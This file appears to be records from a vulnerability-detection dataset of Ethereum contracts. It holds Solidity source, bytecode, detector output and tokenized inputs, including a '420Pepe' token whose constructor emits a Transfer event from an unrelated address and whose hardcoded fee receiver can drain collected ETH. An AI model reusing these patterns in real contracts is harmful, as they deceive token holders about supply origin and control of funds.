uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461013d578063095ea7b3146101cd57806318160ddd1461023257806323b872dd1461025d578063313ce567146102e25780633ccfd60b1461030d57806340650c911461032457806342966c681461034f5780634a63464d1461037c57806367220fd7146103c957806370a082311461043957806395d89b41146104905780639b1cbccc146105205780639ea407be1461054f578063a9059cbb1461057c578063aa6ca808146105e1578063c108d542146105eb578063c489744b1461061a578063cbdd69b514610691578063dd62ed3e146106bc578063e58fc54c14610733578063efca2eed1461078e578063f2fde38b146107b9575b61013b6107fc565b005b34801561014957600080fd5b506101526108b3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610192578082015181840152602081019050610177565b50505050905090810190601f1680156101bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d957600080fd5b50610218600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ec565b604051808215151515815260200191505060405180910390f35b34801561023e57600080fd5b50610247610a7a565b6040518082815260200191505060405180910390f35b34801561026957600080fd5b506102c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a80565b604051808215151515815260200191505060405180910390f35b3480156102ee57600080fd5b506102f7610e56565b6040518082815260200191505060405180910390f35b34801561031957600080fd5b50610322610e5b565b005b34801561033057600080fd5b50610339610f44565b6040518082815260200191505060405180910390f35b34801561035b57600080fd5b5061037a60048036038101908080359060200190929190505050610f4f565b005b34801561038857600080fd5b506103c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061111b565b005b3480156103d557600080fd5b506104376004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050611185565b005b34801561044557600080fd5b5061047a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611224565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b506104a561126d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e55780820151818401526020810190506104ca565b50505050905090810190601f1680156105125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052c57600080fd5b506105356112a6565b604051808215151515815260200191505060405180910390f35b34801561055b57600080fd5b5061057a6004803603810190808035906020019092919050505061136e565b005b34801561058857600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061140b565b604051808215151515815260200191505060405180910390f35b6105e96107fc565b005b3480156105f757600080fd5b50610600611646565b604051808215151515815260200191505060405180910390f35b34801561062657600080fd5b5061067b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611659565b6040518082815260200191505060405180910390f35b34801561069d57600080fd5b506106a6611744565b6040518082815260200191505060405180910390f35b3480156106c857600080fd5b5061071d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174a565b6040518082815260200191505060405180910390f35b34801561073f57600080fd5b50610774600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d1565b604051808215151515815260200191505060405180910390f35b34801561079a57600080fd5b506107a3611a16565b6040518082815260200191505060405180910390f35b3480156107c557600080fd5b506107fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a1c565b005b600080600760009054906101000a900460ff1615151561081b57600080fd5b60009150662386f26fc10000341015151561083557600080fd5b60003411151561084457600080fd5b670de0b6b3a764000061086234600654611af390919063ffffffff16565b81151561086b57fe5b0491503390506000821115610886576108848183611b2b565b505b6004546005541015156108af576001600760006101000a81548160ff0219169083151502179055505b5050565b6040805190810160405280600881526020017f4e6974726f67656e00000000000000000000000000000000000000000000000081525081565b600080821415801561097b57506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156109895760009050610a74565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60045481565b6000606060048101600036905010151515610a9757fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610ad357600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610b2157600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610bac57600080fd5b610bfe83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb790919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da283600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600881565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eba57600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610f3f573d6000803e3d6000fd5b505050565b662386f26fc1000081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fad57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ffb57600080fd5b33905061105082600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb790919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a882600454611cb790919063ffffffff16565b6004819055506110c382600554611cb790919063ffffffff16565b6005819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561117757600080fd5b6111818282611cec565b5050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111e357600080fd5b600090505b825181101561121f57611212838281518110151561120257fe5b9060200190602002015183611cec565b80806001019150506111e8565b505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600581526020017f4e4954524f00000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561130457600080fd5b600760009054906101000a900460ff1615151561132057600080fd5b6001600760006101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ca57600080fd5b806006819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b600060406004810160003690501015151561142257fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561145e57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156114ac57600080fd5b6114fe83600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061159383600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600760009054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156116fc57600080fd5b505af1158015611710573d6000803e3d6000fd5b505050506040513d602081101561172657600080fd5b81019080805190602001909291905050509050809250505092915050565b60065481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561183257600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156118d057600080fd5b505af11580156118e4573d6000803e3d6000fd5b505050506040513d60208110156118fa57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156119d257600080fd5b505af11580156119e6573d6000803e3d6000fd5b505050506040513d60208110156119fc57600080fd5b810190808051906020019092919050505092505050919050565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611af05780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600080831415611b065760009050611b25565b8183029050818382811515611b1757fe5b04141515611b2157fe5b8090505b92915050565b6000600760009054906101000a900460ff16151515611b4957600080fd5b611b5e82600554611cd090919063ffffffff16565b600581905550611bb682600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd090919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000828211151515611cc557fe5b818303905092915050565b60008183019050828110151515611ce357fe5b80905092915050565b600081111515611cfb57600080fd5b600454600554101515611d0d57600080fd5b611d5f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd090919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db781600554611cd090919063ffffffff16565b600581905550600454600554101515611de6576001600760006101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820c96a5d7fc9221389261334adea8fa6df7255148cffc8563850e37d94bc036b1f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-abstract', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 2629, 5243, 16020, 2683, 2683, 12376, 5243, 2581, 23777, 2475, 2063, 11387, 2475, 2278, 2546, 2581, 2683, 2278, 2475, 6679, 2581, 22025, 12376, 29097, 2575, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,431
0x96c6222BAC913a33C1c8D9128Ca3B158232F0094
/** Telegram https://t.me/FourTwentyPepe Website https://420Pepe.com/ SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FourTwentyPepeERC is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; string private constant _name = "420Pepe.com"; string private constant _symbol = unicode"420🐸"; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 420 * (10**_decimals); uint256 private constant _maxTxAmount = 2 * (10**_decimals); uint256 private constant _maxWalletSize = 8 * (10**_decimals); uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _SellFee1; uint256 private _BuyFeeAdditionalPart; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _FeeAdditionalPart = false; bool private swapEnabled = false; modifier lockTheSwap { _FeeAdditionalPart = true; _; _FeeAdditionalPart = false; } constructor () { address payable _feeReceiver = payable(0xb81E062903Bc03B2bC7f11Ab3faE9bd9Fda5e5A4); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeReceiver] = true; emit Transfer(address(0x377D39335799267C5DC8e73cB8E2E1fC1C0C1DD4), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function decimals() public pure returns (uint8) { return _decimals; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _SellFee1 = 6; _BuyFeeAdditionalPart = 3; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && ! _isExcludedFromFee[to] && to != address(uniswapV2Router) ) { require(amount <= _maxTxAmount); require(amount + balanceOf(to) <= _maxWalletSize); } if (to == uniswapV2Pair && ! _isExcludedFromFee[from] && from != address(uniswapV2Router)) { _SellFee1 = 6; _BuyFeeAdditionalPart = 3; } uint256 contractTokenBalance = balanceOf(address(this)); if (!_FeeAdditionalPart && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { address payable _feeReceiver = payable(0xb81E062903Bc03B2bC7f11Ab3faE9bd9Fda5e5A4); _feeReceiver.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); emit Transfer(sender, address(this), tAmount.sub(tTransferAmount)); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { address payable _feeReceiver = payable(0xb81E062903Bc03B2bC7f11Ab3faE9bd9Fda5e5A4); require(_msgSender() == _feeReceiver); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { address payable _feeReceiver = payable(0xb81E062903Bc03B2bC7f11Ab3faE9bd9Fda5e5A4); require(_msgSender() == _feeReceiver); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _SellFee1, _BuyFeeAdditionalPart); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610266578063c3c8cd8014610286578063c9567bf91461029b578063dd62ed3e146102b057600080fd5b8063715018a6146101f95780638da5cb5b1461020e57806395d89b411461023657600080fd5b806323b872dd116100bb57806323b872dd14610186578063313ce567146101a65780636fc3eaec146101c257806370a08231146101d957600080fd5b806306fdde03146100ed578063095ea7b31461013357806318160ddd1461016357600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b5060408051808201909152600b81526a343230506570652e636f6d60a81b60208201525b60405161012a9190611577565b60405180910390f35b34801561013f57600080fd5b5061015361014e3660046114fb565b6102f6565b604051901515815260200161012a565b34801561016f57600080fd5b5061017861030d565b60405190815260200161012a565b34801561019257600080fd5b506101536101a13660046114ba565b61032c565b3480156101b257600080fd5b506040516009815260200161012a565b3480156101ce57600080fd5b506101d7610395565b005b3480156101e557600080fd5b506101786101f4366004611447565b6103c4565b34801561020557600080fd5b506101d76103e6565b34801561021a57600080fd5b506000546040516001600160a01b03909116815260200161012a565b34801561024257600080fd5b506040805180820190915260078152660686461e13f21760cb1b602082015261011d565b34801561027257600080fd5b506101536102813660046114fb565b61048f565b34801561029257600080fd5b506101d761049c565b3480156102a757600080fd5b506101d76104d3565b3480156102bc57600080fd5b506101786102cb366004611481565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103033384846108c4565b5060015b92915050565b600061031b6009600a6116ba565b610327906101a4611765565b905090565b60006103398484846109e8565b61038b8433610386856040518060600160405280602881526020016117e0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610cd5565b6108c4565b5060019392505050565b73b81e062903bc03b2bc7f11ab3fae9bd9fda5e5a43381146103b657600080fd5b476103c081610d0f565b5050565b6001600160a01b03811660009081526003602052604081205461030790610d52565b6000546001600160a01b031633146104455760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103033384846109e8565b73b81e062903bc03b2bc7f11ab3fae9bd9fda5e5a43381146104bd57600080fd5b60006104c8306103c4565b90506103c081610dd6565b6000546001600160a01b0316331461052d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161043c565b600b54600160a01b900460ff16156105875760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043c565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255906105d090309083906105c4906009906116ba565b610386906101a4611765565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561060957600080fd5b505afa15801561061d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106419190611464565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561068957600080fd5b505afa15801561069d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c19190611464565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561070957600080fd5b505af115801561071d573d6000803e3